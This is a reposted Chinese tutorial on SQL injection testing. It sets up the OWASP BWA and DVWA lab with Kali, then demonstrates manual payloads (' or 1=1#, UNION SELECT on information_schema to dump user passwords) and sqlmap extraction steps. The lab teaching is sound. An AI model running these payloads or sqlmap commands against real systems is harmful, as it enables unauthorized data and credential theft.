0


安全测试之sql注入

目录

1. 概述

1.1 web安全渗透测试分类

web数据库安全(sql注入漏洞)

web应用服务器安全(文件上传漏洞,文件包含漏洞)

web客户端安全(XSS跨站攻击)

1.2 sql注入原理

sql注入介绍

  1. sql注入在安全问题中排行榜首
  2. sql注入攻击是输入参数未经过滤,直接拼接到SQL语句中解析
  3. sql注入是一种将SQL代码添加到输入参数中,传递到服务器解析并执行的一种攻击手法

原理

  1. 攻击者在页面提交恶意字符/代码
  2. 服务器未对提交参数进行过滤或过滤不足
  3. 攻击者利用拼接sql语句方式获取数据库敏感信息
# 通过sql注入的方式,可以得到user表中所有信息select*fromuserwhere id = " or1=1--

1.3 sql注入危害

  1. 获取web网站数据库,数据泄露
  2. 用户数据被非法买卖
  3. 危害web应用安全

1.4 sql注入实现方式

手动实现sql注入

查找:注入点

输入:sql常用注入组合语法,进行注入

工具自动实现sql注入

工具:扫描注入点

输入:自动尝试各种组合语法

2. 安全渗透环境搭建

  1. VMware虚拟机软件
  2. 靶机:安装了很多已知漏洞的web应用程序,学习sql注入项目环境

靶机:https://sourceforge.net/projects/owaspbwa/files/1.2/,下载结束后解压,vmware中打开虚拟机,选择.vmx后缀的文件,虚拟环境安装结束后,用初始用户名密码登录,找到系统提供的登录地址,在浏览器中输入IP即可访问

请添加图片描述
请添加图片描述
3. 渗透机-kali,包含数百种工具(比如自动注入工具),可用于各种信息安全任务,例如渗透测试,安全研究

kali:https://www.kali.org/get-kali/#kali-virtual-machines

下载完成以后,解压,在vmware中,文件–扫描虚拟机–选择解压缩的文件夹,会自动定位到kali系统(.vmx文件),完成以后开启虚拟机

请添加图片描述

3. 实操

进入靶机,输入以下命令进入mysql环境

mysql -uroot -powaspbwa

3.1 预备知识

所有sql语句写完都必须加上;否则不会成功执行

操作数据库

# 查看所有数据库showdatabases;# 使用库(use 库名;)use dvwa;# 查看默认库/查看当前在哪个库下selectdatabase();

请添加图片描述

操作表

# 查看当前库中的所有表showtables;# 查看表结构desc 表名;# 查看创建表的sql语句(\G表示字段以行的方式显示,不仅是这条语句可以在末尾使用\G,select也可以使用\G)showcreatetable users\G;# 查看当前登录数据库的用户是哪个selectuser();

基本语句-查询

# 查询所有字段select*from users;# 查询指定字段selectuser,password from users;# 条件查询select*from users whereuser='admin';

# 逻辑与select*from users whereuser='admin'and user_id=6;

# 逻辑或select*from users whereuser='adminn'or user_id=5;

UNION语句

sql注入漏洞的重点使用方式;将2条sql语句联合起来查询

  1. sql1 union sql2
  2. 两条sql语句查询字段数必须相同(如果字段数不同,则执行失败)
# unionselectuser, password from mysql.user;unionselectuser, password from dvwa.users;
  1. 解决方法:使用数字代替列,猜测前面表的查询列数

sql注入漏洞,就是通过拼接union后语句实现获取数据库隐私信息
请添加图片描述

特殊库

介绍

库名:information_schema

作用:存储了mysql中所有库名、表名、列名,是mysql数据的字典(有点类似windows系统中的注册表)

应用:sql注入经常从此库中获取需要的库名、表名、字段名

关注:tables表记录了mysql库中所有的表(表名对应的库名);columns表记录了mysql库中所有表和列

操作

# 查看表select*from information_schema.TABLES\G;select*from information_schema.COLUMNS\G;# 关注字段# 数据库名
TABLE_SCHEMA
# 表名
TABLE_NAME
# 列名
COLUMN_NAME
# show databases 效果在特殊库.TABLES表中如何获取?(一个库有许多表,所以需要去重)selectDISTINCT TABLE_SCHEMA from information_schema.TABLES\G;# show tables 效果在特殊库.TABLES表中如何获取?select TABLE_NAME from information_schema.TABLES\G where TABLE_SCHEMA='dvwa';

sql注释

说明:注释语句不会被执行,在sql注入中可以将查询条件注释掉

#单行注释#语法1(#文字)select*from users;#查询users表所有信息#语法2(-- 文字),必须有个空格select*from users;-- 查询users表所有信息#多行注释(也可以作为单行注释来使用)/*这是多行注释*/

使用sql注释获取用户名和密码

# $会自动拼接对应的字符串select*fromuserwhere username=$userand password=$pwd

# $user=admin#  $pwd=123# 上面的sql相当于下面这个,等价于不需要判断密码了select*fromuserwhere username=admin# and password=123

sql注入流程

  1. 收集项目信息(操作系统、数据库类型、web服务器类型)
  2. 查找注入点(单引号、井号、转义符)
  3. 注入sql语句(#或者union)
  4. 获取数据库信息
  5. 破解数据库管理员账号密码
  6. 开始用sql-shell等工具登录并获取数据

3.2 手动注入

环境准备

说明:通过靶机web应用程序,联系手动注入

步骤:

  1. 启动靶机虚拟机
  2. 通过浏览器访问靶机
  3. 选择Damn Vulnerable Web Application
  4. 访问Owasp-dvwa项目(用户名密码都是admin)
  5. 选中sql注入应用程序(SQL Injection)

查找注入点

说明:主要采用单引号、转义字符\、以单引号为主

提交用户信息或id=处使用单引号测试

原理

# 后台程序sql语句select first_name, last_name from users where user_id='$id';# 输入单引号',相当于将sql语句闭合,后面就可以附加其他逻辑条件了select first_name, last_name from users where user_id=''';

逻辑或应用

说明:使用逻辑或来获取当前表所有信息

目的:获取当前表所有信息(通过以下输入方式只能获取用户名,结合union可以获取密码)

输入:’ or 1=1#

​ '闭合前面条件

​ #注释后面单引号
请添加图片描述

案例

需求:获取users表中所有用户名和密码

方案:使用union联合查询所有用户表语句

步骤:

  1. 猜测字段数
  2. 获取数据库名
  3. 获取数据库下所有的表
  4. 获取表中所有数据

猜测字段数

# 第一次猜测unionselect1## 第二次猜测unionselect1,2## 直到不报语法错误,确认结果有几个字段

获取数据库、表、列

# 获取当前数据库名
ID: ' union select 1, database()#

# 获取表
'unionselect table_name,1from information_schema.tableswhere TABLE_SCHEMA='dvwa'## 获取列' union select column_name,1 from information_schema.columns where TABLE_NAME='users'#

请添加图片描述
请添加图片描述
获取数据

# 获取单个字段数据' union select user,1 from users#

# 获取2个字段
'unionselectuser,password from users#

请添加图片描述

字段数限制

问题:后台sql默认查询字段数限制,注入时只能获取相同字段的数据

思路:使用concat函数(拼接多个字符串为一个字符串),concat(str1,str2,…)

# 获取users表中user_id,user,password,分为两列显示select user_id, concat(user,password)from dvwa.users;# 以上查询出来的结果user和password连在一起显示不清晰,所以需要在中间加空格select user_id, concat('user:',user,' password:',password)from dvwa.users;

请添加图片描述

# 获取多个字段' union select user,concat(first_name, '', last_name, ' ', password)from users#

请添加图片描述

3.3 自动注入

利用工具代替人工去完成sql注入操作

工具

  1. sqlmap
  2. 一个开源渗透测试工具
  3. 自动检测和利用sql注入漏洞并接管数据库服务器

搭建环境

  1. http://sqlmap.org(需要自己下载,不用)
  2. 启动kali虚拟机(渗透机kali自带sqlmap工具(使用))
  3. 终端命令:sqlmap -h

sqlmap基本用法

命令:sqlmap 参数

参数:

# 扫描的url-u

# 自动处理提示信息即提示选项使用默认值(仅加以上2个参数,仍然会存在扫描url被重定向到登录请求的问题)--batch# 附加cookie参数(解决以上参数没有解决的登录的重定向问题,F12调试可以找到cookie,复制)--cookie

案例:

目标:使用sqlmap对OWAP应用注入获取users表中所有用户名和密码

环境:启动靶机、启动渗透机、url(http://靶机ip/dvwa/vulnerabilities/sqli/?id=6&Submit=Submit#)

步骤:

  1. 扫描注入点(把靶机中的url复制到渗透机的终端中,作为url参数执行)
  2. 获取数据库名
  3. 获取表名
  4. 获取字段名
  5. 获取数据

案例

# sqlmap获取库名# 查询当前web使用的数据库名--current-db# 指定数据库-D

# sqlmap获取表# 查询指定库下所有表名(需要先用-D指定库名)--tables# 指定表(使用表时需要用-T指定)-T

# sqlmap获取列/字段# 查询指定表下所有字段--columns# 指定字段名-C

# sqlmap获取数据# 下载数据--dump

请添加图片描述

标签: 安全 sql web安全

本文转载自: https://blog.csdn.net/weixin_40933504/article/details/124770206
版权归原作者 jy... 所有, 如有侵权,请联系我们删除。

“安全测试之sql注入”的评论:

还没有评论